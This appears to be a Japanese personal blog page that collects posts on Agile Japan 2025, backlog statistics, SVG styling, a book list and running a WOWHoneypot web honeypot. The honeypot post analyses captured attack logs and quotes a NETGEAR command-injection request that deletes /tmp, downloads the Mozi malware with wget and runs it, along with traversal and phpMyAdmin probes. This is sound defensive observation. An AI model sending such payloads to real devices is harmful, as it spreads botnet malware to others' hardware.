Agile Japan 2025初参加の感想

はじめに

とあるSIでスクラムのDeveloperをしているものです。

Agile Japanに初めて参加したので、感想を残します。

 

参加の背景

会社でAI導入・開発生産性など、様々な課題を感じていて、それを解決する糸口が見つかればいいなと思い参加しました。

登壇者の発表を聞くことももちろんですが、アジャイルの現場の社外の方と関われる機会は滅多にないので、交流の目的もありました。

感想

個々のセッションではなく、全体を通した感想になります。

 

2日間を通じて感じたのは、AIに関しても・アジャイルに関しても「誰も答えを持っていない」ということでした。

参加する前は、「Agile Japanにいけば、自分の抱えている課題に対して誰かが答えを持っていて、解決するだろう」そんな幻想を抱いていたと思います。

 

しかしながら、登壇者の発表を聞いたり、会場の参加者と対話をする中で、「ここよく無さそうだね」・「こうすればいいんじゃないかな」とか、本当に多くのヒントを得ることができたものの、「こうすれば絶対うまく行く」なんてものは一つもありませんでした。

 

そもそも、「こうすればうまくいく」等という、「答え」を探していたこと自体が間違いだったのだと気づきました。

（t_wadaさん、平鍋さんのご講演を聞いたときは、2025年11月現在「AI活用についてここまで踏み込めている人がいるのか！」。と心が震えるほど感動しました。一方で、そのt_wadaさんでさえも、まだ未来がどうなるかわからないから、「可能性を並べることが大事」というようなことをおっしゃっていたと思います。）

 

会場の有識者の方々の話を聞いて思ったのは、「思考の深さ」です。

登壇者の口から発せられる一つ一つの言葉が、非常に洗練されていて、自分との間に圧倒的な差を感じました。普段から考えて考え抜いて、のサイクルを長いこと続けていないとこうはなれないと思いました。

 

アジャイルの元を辿ると、「リリースした製品は必ず間違っている」という前提があります。

答えが分からないものを模索しながら作り続ける世界に我々は突入した。和田卓人氏による「組織に自動テストを根付かせる戦略」（その1）。ソフトウェア品質シンポジウム2022 － Publickey

 

リリースした製品が間違うのであれば、そこに至るまでの考え方も間違える前提に立つべきだと思います。

この考え方は、市谷さんの「一手目の時点では勝ち方は見えていない。ならば、二手目、三手目、あるいはその先の手番での機会が高まるように手を重ねていくことに期待をもつ」というお話にも通ずるものがあると思います。

 

考え方が間違えるのだから、「考えて間違って、また考える」のサイクルをたくさん回すべきだし、それは一人ではできないから、「他者との対話」が大事なのだと思います。

 

また、平鍋さんのセッションで、「知的体育会系であれ」という野中郁次郎先生のお話がありました。「手を動かしている人が気づくのだから、気づいた人がやりやすいようにかえていかなければいけない。」このお話はとても印象に残りました。

スクラムの祖父語る「開発者は知的体育会系であれ」 − ＠IT自分戦略研究所

 

これを先ほどのに加えると、「考えて、手を動かして、間違って、また考えて、また手を動かして」となります。

この考え方を実践することが、アジャイルなのかなと考えます。

そして、これを行動で示し続けないと、アジャイルをやっていることにならない。のかな？と思います。

最後に

気持ちの熱いうちに思うがままに書いてみましたが、まだ消化し切れていない部分もあり、変なことを書いていたらツッコミを入れていただけると幸いです。

個々のセッションの内容については、後日動画でじっくり見返そうと思います。

 

今まで書いたことを振り返ってみて、「結構あたり前のことを書いているな？」という気持ちになりました。

Agile Japanに参加していない世界線の私がみると、「今更そんなことに気づいたの？とっくに知ってるよ。」そういう感想を抱いたことでしょう。

 

ただ、今回Agile Japanに参加したことで、頭では知っていることを、本当の意味で理解することができたような気もします。

その一歩を踏み出せたのは、Agile Japan2025年に現地参加したからだと思います。

運営をしてくださった方、登壇者、スポンサーの方、本当にありがとうございます。

参加者一人一人にとっての、Rebootになったのではないでしょうか？

 

最後になりますが、AIが発展して人間に何が残るのか？という議論がありました。

いろいろあると思いますが、私なりに一つあげるとすると、「モチベーションの伝播」です。

Agile Japanに参加した中で、様々な人と関わり、たくさんのモチベーションをいただきました。これを行動で示していき、今回いただいたモチベーションを伝播していきたいです。

人間にしかできないことをやっている、と胸を張っていえるように、なりたいですね。

 

同志のみなさん、頑張りましょう〜！

 

 

 

レビュー・タイヘーンの法則

レビュー・タイヘーンの法則というものを発見した。

レビュー・タイヘーンの法則とは、RV前の成果物の出来によって、レビューが大変（タイヘーン）になるという法則である。

 

実装でも設計でも何でも良いのだが、あるタスクをRVに最初に出したときの完成度をxとすると

RV者にかかる負担 k は成果物の完成度xに反比例するものというものである。（*1）

式は以下

 

akx = 1 (  a: 定数, k: RV者のコスト, x: 完成度）

 

*1: 式の妥当性: レビューとは、成果物が元にあってそこに、コメントをするものなので成果物がしょぼいとコメントが増える。逆に、成果物の出来がいいとコメントが少ない。だから反比例っぽくなりそう（雑）

 

例えば、80%の出来でレビューに出されたタスクをRVで100%の完成度にあげたとする。

その時にかかるコストは、（定数を1とおく）

100 / 80 = 1.25である。

時間換算すると、

タスクに1時間かかるとすると、RVには1.25時間かかる

 

仮に、20%の出来でレビューに出されたタスクがあったとする。

同じ労力をかけた場合

20 * 1.25 = 25%の出来にしかならない

 

成果物を100%にもっていかないとRVの意味がないので、それだと不十分。

100%にもっていくことを考えた時

100 / 20 = 5

となり、上と同じ考え方を適用すると、タスクに1時間かかる場合、RVには5時間かかる。

 

RV者はこのRVに5時間費やしているわけだが、
最初からわかる人がタスクを実施し80%まで自力でもっていけた場合、先ほどの計算結果に基づくと全部合わせて2.25時間で終わるので、
「俺がやったほうが早かった」事案が発生する。
この事象は、生産性にとってとても厄介である。

 

ではなぜ20%の仕上がりでRVが出されてしまうのか？
原因は以下が考えられる

① タスクの到達地点が誤解されている（20%で出した人的には100%の出来だと思っている）

② 実施者の能力がタスクに合っていない

 

① は完了条件を明確にするなどすれば、チームの努力次第で改善できるので、先に対応を試みたい

② は以下の解決策が考えられる。

a. 人毎に最適なタスクのアサインをするように気を付ける（実施が厳しそうな人には簡単めのタスクを与えてあげる等）

b. タスクに実施内容を細かく書く

 

a. は、本人の望みと違うタスクをやるよう誘導するのはなかなか難し場面もあるだろうし、

b. は、効果的にも見えるが、タスクを丁寧に記載する労力に必要以上にできる人の時間を費やしてしまうことが生産性を下げかねないので、注意が必要。


そんなこんなで良いあうアプローチが思いつかなくてモヤモヤしてる。
その人を成長させるのが一番いいけど、他者を成長させるってなかなか難しい。

 

 

東京都立図書館徘徊記 ~2024年秋~

東京都立図書館に行ってきました。

東京都立図書館について

都立図書館は学生時代からお世話になっていて、社会人になった今でも定期的に行きます。
目的は「ネットで目にして気になってる本・まだ出会えていない本たちに出会うこと」、「それらの中から手元に置いておきたい本（後でネットで購入）を選定すること」です。
本屋だとペラペラくらいしか見れませんが、図書館だと腰を下ろして気の済むまで見ることができます。
都立図書館は最新の技術書の入庫対応も素晴らしいので、定期的に行っては感動しています。本当に天国のような場所です。

というわけで、久しぶりに都立図書館に行ってきたのですが、 実際に手にとって選定した結果は誰かしらに需要があるのではないかと思ったのと、自分へのメモになるのでブログにしてみることにしました。

今回の主目的は、アジャイル関連の書籍、エンジニアのキャリア関連です。（偶然目に入った別のジャンルも少しだけあります）

選定結果のマーク

👛：手元に置いておきたくなったもの（=ネットで購入したもの）
👀：予算が無限にあれば手元に置きたいが、購入は一旦見送り
📦：↑こんな感覚で本を買ってくと家が段ボールで埋まってしまうのでいいかなと思ったもの

※1これらはあくまで、超個人的主観なので、📦であっても他の方にとっては宝箱かもしれません。
本に優劣をつけたいのではなく、「こんな本があって、特にこれが良さそうだったよ」をを共有したいだけです。
※2既に所有している本は含めていませんので、ここに記載がない本で素晴らしい本もたくさんあります。

選定結果（ジャンル別）

↓すみません。最初、購入先のリンク載せようとしていましたが途中から面倒くさくなったのでタイトルだけです。

アジャイル（一般）

  • 👛Clean Agile 基本に立ち戻れ
  • 👛正しいものを正しくつくる プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先について
  • 👛 カイゼン・ジャーニー たった1人からはじめて、「越境」するチームをつくるまで
  • 👛アジャイルメトリクス
  • 📦アジャイルレトロスペクティブズ　強いチームを育てる「ふりかえり」の手引き
  • 📦心理的安全性とアジャイル 「人間中心」を貫きパフォーマンスを最大化するデジタル時代のチームマネジメント 非エンジニア向けっぽかった
  • 👀アジャイルリーダーシップ: 変化に適応するアジャイルな組織をつくる
  • 👛アジャイルプラクティス 達人プログラマに学ぶ現場開発者の習慣
  • 👛プロフェッショナルプロダクトオーナー: プロダクトを効果的にマネジメントする方法
    これめっっっちゃ良かった
  • 👛コーチングアジャイルチームス: スクラムマスター、アジャイルコーチ必携
  • 👛タイトル通りSMやアジャイルコーチ向けの本だが、アジャイルコーチのいないチームほど読んでおくと良さそう
  • 👛アジャイル開発のプロジェクトマネジメントと品質マネジメント: 58のQ&Aで学ぶ Q&Aの中に「アッ」って思った内容があった
  • 👀品質重視のアジャイル開発: 成功率を高めるプラクティス・Doneの定義・開発チーム編成 Doneの定義について言及されてて良かったが、Q&Aの方を買ってしまったので。
  • 📦Scaling Teams 開発チーム 組織と人の成長戦略 ~エンジニアの採用、マネジメント、文化や価値観の共有、コミュニケーションの秘訣~

アジャイル（大規模・エンタープライズ）

キャリア、マネジメント

  • 👛スタッフエンジニア　マネジメントを超えるリーダーシップ
    14人のスタッフプラスエンジニアの経験談等
  • 👛スタッフエンジニアの道 ―優れた技術専門職になるためのガイド スタッププラスエンジニアのためのガイド https://www.amazon.co.jp/dp/4814400861
  • 👛エンジニアのためのマネジメント入門
  • 👀エンジニアリングマネージャーのしごと ―チームが必要とするマネージャーになる方法
  • 👛エンジニアリング組織論への招待 ~不確実性に向き合う思考と組織のリファクタリング 前から気になってはいた
  • 👛エンジニアリングが好きな私たちのための　エンジニアリングマネジャー入門
  • 📦マネジメント3.0 　適応力の高いチームを育むための6つの視点
  • 👛Team Geek ―Googleのギークたちはいかにしてチームを作るのか
  • 📦ITエンジニアのためのプロジェクトマネジメント入門
  • 📦CAREER SKILLS ソフトウェア開発者の完全キャリアガイド 辞典的な感じ
  • 👛ここはウォーターフォール市、アジャイル町 ストーリーで学ぶアジャイルな組織のつくり方 所蔵がなかったが評価高かったので買った。

プロジェクト管理

  • 👛熊とワルツを - リスクを愉しむプロジェクト管理 これも所蔵なかったが、「プロフェッショナルプロダクトオーナー」から引用されてて気になったから買った。
  • 👀プロダクトマネジメントの教科書 PM向け。自分はPMではないので見送った。将来PMになったら買うかも。

運用・開発生産性

  • 👛The DevOps ハンドブック 理論・原則・実践のすべて
  • 👛入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス
    • 表紙の犬が可愛い。中身も良かった
  • 👛エンジニア組織を強くする 開発生産性の教科書 ～事例から学ぶ、生産性向上への取り組み方～ 最近めっちゃFindyのツール耳にするので買った

技術寄りノウハウ

その他目移りしたやつ

  • 👛睡眠こそ最強の解決策である 最近めっちゃ睡眠って大事だなって思うようになって中身確認してないけど買った
  • 👀マイクロサービスアーキテクチャ 第2版 すごい良さそうだったけど、家に別のマイクロサービス本積んでるので一旦見送った
  • 👀なぜ依存を注入するのか　DIの原理・原則とパターン (Compass Booksシリーズ) 題名に惹かれて、中もチラ見したけど良さそうだった。DIオタクになるべき日が来たら買う

バックログを細かくすればするほどベロシティが安定するんじゃない？っていうのを統計的に言いたい試み

背景
 
アジャイルのお作法で、「バックログはユーザーストーリー単位で切るのが良い」ってよく言われる。
ユーザーストーリー単位で分割することで、出荷可能な単位で機能が作られたりだとか、ユーザーストーリーの書き方（＜ユーザー＞が、＜機能・性能＞にする。なぜなら＜ビジネス価値＞のためだ。）を意識することで必要以上に細かく書きすぎないメリットが上げられる。
 
そういったメリットを享受できるので、ユーザーストーリー単位でバックログを分割することはとても重要だ。
しかし、だからと言ってユーザーストーリー単位にこだわりすぎてバックログを大きくしてしまうと、ベロシティが安定しづらくなるように思える。
経験則的には、「ベロシティの安定」という観点においては、バックログが細切れの方がベロシティが安定する。（チーム外からあーだこーだ言われなくなるので、ベロシティが安定することは良いことだと考えている。）
 
これは、それを統計的に証明できないかというメモ（筆者は統計学しょぼしょぼなので、間違っているところなどあれば指摘してください。）
 
仮説
 
【仮説1】　ストーリーポイントは正規分布に従う

ストーリーは不確実性を含むので、5ptと見積もっても実際の量は上振れ下振れがある。この、「実際にかかる大変さ（ストーリーポイント）」みたいなものを横軸にする。平均値はみんなで最初に見積もったストーリーポイント
 
【仮説2】　正規分布の中でも、対数正規分布に従う

この分布は、右に行けば行くほど緩やかになると仮定する。（対数正規分布っぽい感じ）その拠り所とするところはストーリーポイントの見積もりにフィボナッチ数列を使うことである。
フィビナッチは1.2.3.5.8.13.21...と、項が増えれば増えるほど間隔が大きくなるので、実際の大変さも見積もり時のストーリーポイントが大きいほど荒くなる（＝分布が広がる）仮定だ。
 
計算
 
この2つの仮説をもとにモデルを考えてみる。
対数正規分布は計算が大変なので、【仮説1】・【仮説2】をミックスさせた分布を考える。

1つのガウス分布は左右対称だが、2つのガウス分布を比べた時、ストーリーポイントが大きいほどバラツキが大きいというモデルである。
ここで、ストーリーポイントは平均値であり、
ストーリーポイントが大きくなるとばらつき（分散）が大きくなるという考え方を適用するために、
μ=aσ (a:比例定数）とする
 
肌感覚との相違を調べるため、aに3を代入してみると、
ストーリーポイント6の時、4~8の間に収まる
ストーリーポイント18の時、12~24の間に収まる
くらいの感じ。感覚的には結構当てはまる気がする。
 
ここで、μのバックログをk分割することを考える。
すると、μ/kのバックログがk個できる。
 
分散σ1^2と分散σ2^2の正規分布を足し合わせた時の分散は、σ1^2+σ2^2となる。
 
つまり、k分割したk個のバックログの分散は、
σ^2=(μ/ka)^2*k = (μ^2/ka^2）と求められる
 
k分割しない時、
σ^2=(μ/a)^2 = (μ^2/a^2）なので、
 
k分割した時の分散はしない時より、分散が1/kになることがわかる
 
補足
・あくまで仮説が前提なので、仮説（特にμ=aσと置いてる部分）の確からしさを統計をとるなどして立証しない限り、結論としては弱い
・バックログ分受け入れ条件を書くなどの固定コストがかかるため、バックログを分割しまくれば良いというものではない（どこかで収束する。→スクラムの人数にもよりそう）
・冒頭で、経験則的に...と言ったが「バックログを分割できる=バックログがシンプル」なのかもしれない。
 
 
 
 
 
 
 
 

SVGの色をCSSで変える

ユーザーがテーマカラーを自由に設定できるアプリを作りたい。

アプリにはSVG画像を使っている。色の数だけSVG画像を用意したくないので、動的に色を変更できないか？

ググると、インラインでやる方法が出てくる

qiita.com

こんな感じ。↓

<div class="icon1">
  <svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="64" height="64" viewBox="0 0 64 64">
  <g class="path02">
    <path d="M26 9c0 1.657-1.343 3-3 3s-3-1.343-3-3 1.343-3 3-3 3 1.343 3 3z"></path>
  </g>
  </svg>
</div>

.icon1 {
  fill: #42AFE3;
}

でも、htmlにべた書きはしたくない。

解決策

<use>を使う

tsuchippo.com

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <title>FrontContents</title>
    <link href="./style.css" rel="stylesheet" type="text/css" media="all" />
  </head>
  <body>
    <svg class="icon">
      <use href="./assets/star.svg#star"></use>
    </svg>
    <svg class="icon">
      <use href="./assets/star2.svg#star"></use>
    </svg>
  </body>
</html>

.icon {
  width: 20px;
  height: 20px;
  fill: red;
  stroke: blue;
  }

<svg xmlns="http://www.w3.org/2000/svg" >
  <symbol id="star" viewBox="0 0 16 16">
  <g>
    <path d="M8.09082 12.4226L3.11714 16.1816L5.07766 10.068L0.0908203 6.29524H6.19608L8.09082 0.181641L9.98556 6.29524H16.0908L11.104 10.068L13.0645 16.1816L8.09082 12.4226Z" />
  </g>

  </symbol>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" >
  <symbol id="star" viewBox="0 0 16 16">
  <g>
    <path stroke="green" fill="purple" d="M8.09082 12.4226L3.11714 16.1816L5.07766 10.068L0.0908203 6.29524H6.19608L8.09082 0.181641L9.98556 6.29524H16.0908L11.104 10.068L13.0645 16.1816L8.09082 12.4226Z" />
  </g>

  </symbol>
</svg>

色が反映される優先順位は以下.
①svg内でfill/strokeを指定.
②CSSで外からfill/strokeを指定.

ベースの色とか、自由に変えられる対象としないところはsvgに色指定しておけばそっちが優先される。

外から2色以上指定するときはどうすれば良いんだろう？って思ったら、タグごとにidを付与すればいいっぽい qiita.com

WOWHoneypotを運用して2ヶ月たったのでまとめ

Honeypotとは

Welcome to Omotenashi Web Honeypotの略
攻撃者をもてなし、サイバー攻撃を観察できるハニーポット

github.com

 

WOWHoenypotの特徴

主な仕組み

  • デフォルト200 OK
    400系のエラーコードを返すと、攻撃者は通信を止めてしまうため、取れる情報が少ない→ 200 OKを返すことで、攻撃対象が存在すると誤認させる

  • マッチ&レスポンス
    特定の通信に対して、特定の応答をするシグネチャを定義しておくことでハニーポットだと気づかれにくくする
    →（例：URIにwp-login.phpという文字列が含まれていたら、WordPressのログインページを装う）

WOWHoenypotの応答の様子

やったこと

  1. WOWHoneypotを外部IPアドレスの80番ポート(*)で公開
    (*)実際には権限の少ないユーザ権限を使い8080ポートで動作させ、80→8080へ転送
  2. HTTPリクエストをログファイルに保存
    集計期間 2ヶ月 (2023 07.18-09.17)

  3. ログを集計・分析
    合計アクセス数は19305回

結果

リクエストメソッドごとの観測回数

思ったこと

GETとPOSTは多いのは当たり前として、CONNECTとHEADが多いのが気になる

 

CONNECTメソッドの観測理由

踏み台にするプロキシサーバを探索している

 

HEADメソッドの観測理由

ログ

HEAD /icons/sphere1.png
HEAD /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png
HEAD /icons/.%2e/%2e%2e/apache2/icons/sphere1.png

Apacheのiconsフォルダへのディレクトリトラバーサル攻撃などが主な原因

 

アクセスURLごとの観測回数

 

観測回数の多かったアクセスログ①

Headerのみを変えた /manager/htmlへのGET

ログ

GET /manager/html HTTP/1.1

 

(*) ユーザ名:パスワード , Base64でデコード済

上記アクセスは約53秒に140回
→Tomcatの管理サーバへの侵入を試みたブルートフォース攻撃を仕掛けている

気になった攻撃ログ「GET /manager/html HTTP/1.1」 - まいほびー

 

観測回数の多かったアクセスログ②

phpMyAdminの脆弱性を利用した攻撃

phpMyAdminとは：PHPで実装されたMySQL管理のためのWebアプリケーション

ログ

GET http://*.*.*.*/phpMyAdmin/scripts/setup.php
GET http://*.*.*.*/phpMyadmin/scripts/setup.php
GET http://*.*.*.*/myAdmin/scripts/setup.php
GET http://*.*.*.*/MyAdmin/scripts/setup.php
GET http://*.*.*.*/SQL/scripts/setup.php

phpMyAdminを狙った攻撃を深追いしてみた - こんとろーるしーこんとろーるぶい

 

→探索により対象の存在を確認した上で、外部のFTPサーバから不正なPHPを実行しようとしている

 

観測回数の多かったアクセスログ③

ネットワーク機器を狙ったOSコマンドインジェクション

ログ

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://*.*.*.*/ Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

  • /setup.cgi? の部分
    実行するスクリプト名を定義している
  • next_file=netgear.cfg& の部分

    NETGEAR社のNW機器の設定ファイルを狙った攻撃だとわかる

  • todo=syscmd&cmd=rm+-rf+/tmp/*; の部分

    ディレクトリ内の全てのファイルとディレクトリを削除しようとしている

  • wget+http://*.*.*.*/Mozi.m+-O+/tmp/netgear;の部分

    特定のURLからMozi.m(*)というファイルをダウンロードし/tmp/netgearとして保存しようとしている

  • sh+netgear&curpath=/&currentsetting.htm=1の部分

    ダウンロードしたファイルをシェルスクリプトとして実行させようとしている

    (*) マルウェア「Mirai」の亜種

→ ハードウェア (OS) に対して、マルウェアをダウンロードさせコマンド実行させようとしている

 

感想

参考文献

ハニーポット運用日記 ～その1～

概要

ハニーポットを運用してみたくなったのでしてみようという日記です。 本記事ではハニーポットの概要説明、サーバのレンタル、ログ分析用のElasticsearch、kibanaの導入までを行います。

ハニーポットとは

①運用者がVPSとかにハニーポットを作る
②攻撃者がハニーポットに攻撃を仕掛ける
③ハニーポットがログを出力する
④ハニーポット運用者(※1)がログを観察する
運用者がログを観察することで、どのような攻撃が仕掛けられるか分析することができる。

(※1) ハニーポットの運用者は巷ではハニーポッターと呼ばれるらしい

ハニーポットの運用時に気を付けること

ハニーポットの種類

脆弱性があるように見せかけつつ脆弱性を作らないようなシステムを構築する必要がある。 初心者がそれを一から構築するのは無理なので、ハニーポットツールを利用するのが一般的。

用途別にいろいろある。以下にツール例と特長をまとめる。

ツール名 特徴
T-Pot 複数のハニーポット技術を統合しており、侵入者とのやり取りを最大限に引き出すことができるオープンソースのハニーポット。
Cowrie SSHとTelnetサーバのエミュレータで、攻撃者がシステムにログインしたと思わせることができる。
Kippo Cowrieの前身であり、現在はあまり使われていないSSHサーバのエミュレータ。
Honeyd ネットワークの脆弱性スキャンのシミュレーションに特化したハニーポット。
Dionaea 主にマルウェアを収集することを目的としており、複数のプロトコルとサービスをエミュレートし、侵入者との対話を可能にする。
Glastopf ウェブアプリケーションのハニーポットであり、ウェブベースの攻撃を検出することに特化している。
Snort オープンソースの侵入検出・防御システム (IDS/IPS)。ネットワークトラフィックを監視し、不正アクセスや攻撃を検出する。ハニーポットとしても使用することができる。

レンタルサーバについて

syn-ack.hatenablog.com

規約を確認した限り、特にハニーポットの利用を禁止するような文言はなかったのでさくらVPSを利用することにしました。
ただし、他のユーザーやインターネット上の他のシステムに影響を与えないよう、十分なセキュリティ対策を講じる必要があります。

さくらVPSは2週間のお試し期間があるので、初めて試すには都合がよいと思います。

https://faq.sakura.ad.jp/s/article/000001231

  • サーバのスペック ハニーポット自体を動かすだけであれば1GB等の低メモリで十分ですが、 それ以上に重要なのがログ分析です。 ハニーポットのログ分析には Elasticsearch、Kibana、Logstash（以下で説明） が使われていることが多いようです。

Elasticsearchが動く要件はRAM2G以上なので、さくらVPSで4GBのサーバー（Ubuntu）をレンタルすることにしました。

サーバのレンタルから手元の環境からログイン

  • サーバのレンタル まず、さくらのVPSに新規登録します。登録したら、新規追加からサーバの作成をします。

  • 管理ユーザのパスワードの設定 管理ユーザ名はデフォルトでubuntuです。管理ユーザのパスワードは、ubuntuユーザのパスワードという意味です。 入力したら、「管理ユーザーのパスワードをダウンロード」をしておきましょう。

  • 公開鍵の設定 お手元の環境でssh鍵を作っておきましょう。以下はmyhoneypodという名前の鍵を作っている例です。

ssh-keygen -t rsa -b 4096 -f ~/.ssh/myhoneypod

作成したら、myhoneypod.pod（自身で設定した名前）の中身を以下に入力します。

後は支払い方法の選択等をします。

作成できたら、手元のLinux環境（WindowsユーザはWSLなど）で、作成したサーバにログインします。

ssh -i ~/.ssh/myhoneypod ubuntu@IPアドレス

以下は、サーバにログインした前提で進めていきます。

Logstash、Elasticsearch、Kibanaの準備

  • Logstash、Elasticsearch、Kibanaとは www.elastic.co

  • Logstash イベントを監視し、ログをしかるべき場所に出力するツール

  • Elasticsearch オープンソースで開発されている分散型データベースシステム

  • Kibana Elasticsearch内に格納されているデータを可視化できるツール

  • Logstashのインストール

apt install logstash

が、レンタルサーバの場合だとlocalhostにアクセスするところで詰まるので、設定を加えてあげる必要があります。

sudo vi /etc/elasticsearch/elasticsearch.yml
#network.host: 192.168.0.1
network.host: 0.0.0.0

level69.net

ここまでで、Elasticssearch、kibanaのインストールが完了しました。 次回は、実際にこれらを活用してログを可視化してみたいと思います。

参考